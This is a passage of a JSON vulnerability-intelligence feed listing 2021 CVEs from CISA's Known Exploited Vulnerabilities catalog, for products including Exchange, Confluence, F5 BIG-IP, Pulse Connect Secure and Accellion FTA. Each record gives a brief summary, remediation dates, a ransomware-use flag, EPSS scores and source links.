on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Pulse Connect Secure","stacks":["Ivanti","Pulse Connect Secure"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.22915,"percentile":0.97728,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22899&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22899","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22899 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22899&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22899, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22900","cveId":"CVE-2021-22900","aliases":[],"kind":"vulnerability","title":"Ivanti Pulse Connect Secure Unrestricted File Upload Vulnerability","summary":"Ivanti Pulse Connect Secure contains an unrestricted file upload vulnerability that allows an authenticated administrator to perform a file write via a maliciously crafted archive upload in the administrator web interface.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Pulse Connect Secure","stacks":["Ivanti","Pulse Connect Secure"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.14146,"percentile":0.96549,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22900&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22900","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22900 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22900&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22900, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22986","cveId":"CVE-2021-22986","aliases":[],"kind":"vulnerability","title":"F5 BIG-IP and BIG-IQ Centralized Management iControl REST Remote Code Execution Vulnerability","summary":"F5 BIG-IP and BIG-IQ Centralized Management contain a remote code execution vulnerability in the iControl REST interface that allows unauthenticated attackers with network access to execute system commands, create or delete files, and disable services.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"F5","product":"BIG-IP and BIG-IQ Centralized Management","stacks":["F5 BIG-IP","F5","BIG-IP and BIG-IQ Centralized Management"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99898,"percentile":0.99965,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22986&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22986","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22986 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22986&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22986, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-23874","cveId":"CVE-2021-23874","aliases":[],"kind":"vulnerability","title":"McAfee Total Protection (MTP) Improper Privilege Management Vulnerability","summary":"McAfee Total Protection (MTP) contains an improper privilege management vulnerability that allows a local user to gain elevated privileges and execute code, bypassing MTP self-defense.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"McAfee","product":"McAfee Total Protection (MTP)","stacks":["McAfee","McAfee Total Protection (MTP)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01026,"percentile":0.63363,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-23874&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-23874","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-23874 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-23874&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-23874, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-26084","cveId":"CVE-2021-26084","aliases":[],"kind":"vulnerability","title":"Atlassian Confluence Server and Data Center Object-Graph Navigation Language (OGNL) Injection Vulnerability","summary":"Atlassian Confluence Server and Data Server contain an Object-Graph Navigation Language (OGNL) injection vulnerability that may allow an unauthenticated attacker to execute code.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Atlassian","product":"Confluence Server and Data Center","stacks":["Atlassian","Confluence Server and Data Center"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99994,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-26084&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-26084","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-26084 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-26084&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-26084, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-26411","cveId":"CVE-2021-26411","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Memory Corruption Vulnerability","summary":"Microsoft Internet Explorer contains an unspecified vulnerability that allows for memory corruption.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.81667,"percentile":0.9964,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-26411&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-26411","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-26411 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-26411&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-26411, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-26855","cveId":"CVE-2021-26855","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Remote Code Execution Vulnerability","summary":"Microsoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99996,"percentile":0.99989,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-26855&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-26855","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-26855 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-26855&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-26855, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-26857","cveId":"CVE-2021-26857","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Remote Code Execution Vulnerability","summary":"Microsoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95762,"percentile":0.99871,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-26857&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-26857","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-26857 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-26857&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-26857, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-26858","cveId":"CVE-2021-26858","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Remote Code Execution Vulnerability","summary":"Microsoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93651,"percentile":0.99841,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-26858&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-26858","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-26858 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-26858&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-26858, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-27059","cveId":"CVE-2021-27059","aliases":[],"kind":"vulnerability","title":"Microsoft Office Remote Code Execution Vulnerability","summary":"Microsoft Office contains an unspecified vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06076,"percentile":0.93348,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-27059&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-27059","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-27059 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-27059&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-27059, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-27065","cveId":"CVE-2021-27065","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Remote Code Execution Vulnerability","summary":"Microsoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99876,"percentile":0.99964,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-27065&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-27065","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-27065 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-27065&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-27065, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-27085","cveId":"CVE-2021-27085","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Remote Code Execution Vulnerability","summary":"Microsoft Internet Explorer contains an unspecified vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05448,"percentile":0.92676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-27085&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-27085","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-27085 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-27085&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-27085, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-27101","cveId":"CVE-2021-27101","aliases":[],"kind":"vulnerability","title":"Accellion FTA SQL Injection Vulnerability","summary":"Accellion FTA contains a SQL injection vulnerability exploited via a crafted host header in a request to document_root.html.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Accellion","product":"FTA","stacks":["Accellion","FTA"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05998,"percentile":0.93272,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-27101&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-27101","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-27101 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-27101&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-27101, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-27102","cveId":"CVE-2021-27102","aliases":[],"kind":"vulnerability","title":"Accellion FTA OS Command Injection Vulnerability","summary":"Accellion FTA contains an OS command injection vulnerability exploited via a local web service call.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Accellion","product":"FTA","stacks":["Accellion","FTA"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03654,"percentile":0.89532,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-27102&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-27102","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-27102 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-27102&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-27102, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-27103","cveId":"CVE-2021-27103","aliases":[],"kind":"vulnerability","title":"Accellion FTA Server-Side Request Forgery (SSRF) Vulnerability","summary":"Accellion FTA contains a server-side request forgery (SSRF) vulnerability exploited via a crafted POST request to wmProgressstat.html.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Accellion","product":"FTA","stacks":["Accellion","FTA"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.11406,"percentile":0.95967,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-27103&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-27103","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-27103 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-27103&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-27103, scored 2026-10-25. This is a model estimate, not proof of 